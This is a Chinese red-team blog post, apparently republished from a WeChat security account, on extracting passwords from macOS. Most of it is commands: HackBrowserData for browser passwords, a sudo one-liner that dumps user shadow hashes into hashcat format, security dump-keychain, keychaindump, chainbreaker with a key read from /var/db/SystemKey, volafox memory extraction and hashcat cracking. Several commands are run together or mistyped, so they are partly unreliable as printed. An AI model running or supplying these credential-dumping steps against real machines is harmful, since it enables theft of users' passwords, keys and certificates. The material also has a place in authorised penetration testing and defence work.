红队之如何获取Mac OSx Passwords
2022-12-1 08:2:40 Author: 雾晓安全(查看原文) 阅读量:14 收藏

最近对MacOSx当中的密码存储⽐较感兴趣然后就去⽹上查了很多资料,⽽且好像相关的⽂章⽐较少。那么对于OSx当中的提权将会放到另外⼀⽚⽂章中来说。

在我个⼈认为OSx中主要有⼏类密码存在如:

  • BrowserPasswords(浏览器密码)

  • ShadowPasswords(影⼦密码)

  • Keychain(钥匙串)

  • kcpassword(登陆密码)

所有的实验都是在我⾃⼰的多台电脑测试以及模拟。

本⽂也将按照这⼏种密码的分类来说明如何获取各类密码。

很多⼈都会习惯把密码保存在浏览器,那么浏览器密码可以说是重中之重了。
HackBrowserData是⼀个浏览器数据(密码|历史记录|Cookie|书签|信⽤卡|下载记 录|localStorage|浏览器插件)的导出⼯具,⽀持全平台主流浏览器。
由于MacOS的安全性设置,基于Chromium内核浏览器解密时需要当前⽤户密码
安装运⾏
可下载已编译好,可直接运⾏的⼆进制⽂件。
某些情况下,这款安全⼯具会被WindowsDefender或其他杀毒软件当作病毒导致⽆法执⾏。代码已经全部开源,可⾃⾏编译。
从源码编译
仅⽀持go1.18+以后版本,⼀些函数使⽤到了泛型。
$ git clone https://github.com/moonD4rk/HackBrowserData$ cd HackBrowserData/cmd/hack-browser-data$ CGO_ENABLED=1 go build
运⾏
ShadowPasswords
影⼦密码与⽤户的配置⼀起存储在
/var/db/dslocal/nodes/Default/users/.
以下oneliner可⽤于转储有关⽤户的所有信息(包括哈希信息):
for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo"$l"; defaults read "$l"; fi; done
像这个或这个这样的脚本可⽤于将散列转换为hashcat格式。
另⼀种单⾏代码将以hashcat格式
-m7100(macOSPBKDF2-SHA512)
转储所有⾮服务帐户的信⽤:请注意,当使⽤安全⼆进制⽂件转储解密后的密码时,会出现多个提示,要求⽤户允许此操作。
sudo bash -c 'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex "[^_]*"); do plutil -extract name.0 raw $i | awk "{printf\$0\":\$ml\$\"}"; for j in {iterations,salt,entropy}; do l=$(k=$(plutil -extract ShadowHashData.0 raw $i) && base64 -d <<< $k | plutil -extract SALTEDSHA512-PBKDF2.$j raw -); if [[ $j == iterations ]]; then echo -n $l; elsebase64 -d <<< $l | xxd -p -c 0 | awk "{printf \"$\"\$0}"; fi; done; echo "";done'
请注意,当使⽤安全⼆进制⽂件转储解密后的密码时,会出现多个提示,要求⽤户允许此操作。
#securitysecuirty dump-trust-settings [-s] [-d] #List certificatessecurity list-keychains #List keychain dbssecurity list-smartcards #List smartcardssecurity dump-keychain | grep -A 5 "keychain" | grep -v "version" #Listkeychains entriessecurity dump-keychain -d #Dump all the info, included secrets (the user willbe asked for his password, even if root)
sudo vmmap <securityd PID> | grep MALLOC_TINY
sudo ./keychaindump
Hashed Keychain password, suitable for cracking with hashcat or John the RipperInternet PasswordsGeneric PasswordsPrivate KeysPublic KeysX509 CertificatesSecure NotesAppleshare Passwords
#Dump all keys of the keychain (without the passwords)python2.7 chainbreaker.py --dump-all /Library/Keychains/System.keychain
# First, get the keychain decryption key# To get this decryption key you need to be root and SIP must be disabledhexdump -s 8 -n 24 -e '1/1 "%.2x"' /var/db/SystemKey && echo## Use the previous key to decrypt the passwordspython2.7 chainbreaker.py --dump-all --key0293847570022761234562947e0bcd5bc04d196ad2345697/Library/Keychains/System.keychain
# Get the keychain hashpython2.7 chainbreaker.py --dump-keychain-password-hash/Library/Keychains/System.keychain# Crack it with hashcathashcat.exe -m 23100 --keep-guessing hashes.txt dictionary.txt# Use the key to decrypt the passwordspython2.7 chainbreaker.py --dump-all --key0293847570022761234562947e0bcd5bc04d196ad2345697/Library/Keychains/System.keychain
#Use volafox (https://github.com/n0fate/volafox) to extract possible keychainpasswords# Unformtunately volafox isn't working with the latest versions of MacOSpython vol.py -i ~/Desktop/show/macosxml.mem -o keychaindump#Try to extract the passwords using the extracted keychain passwordspython2.7 chainbreaker.py --dump-all --key0293847570022761234562947e0bcd5bc04d196ad2345697/Library/Keychains/System.keychain
#Prompt to ask for the passwordpython2.7 chainbreaker.py --dump-all --password-prompt/Users/<username>/Library/Keychains/login.keychain-db
https://github.com/macmade/KeychainCracker

免责声明

勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雾晓安全及文章作者不为此承担任何责任。


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NDM2MTE5Mw==&mid=2247496535&idx=1&sn=d89958111be1cccaba507cfa479ce48d&chksm=ce683cd1f91fb5c707546131bfdc3073e94e12bec3c799b6acb8bf6c23879d428f1fbbfcb58c#rd
如有侵权请联系:admin#unsafe.sh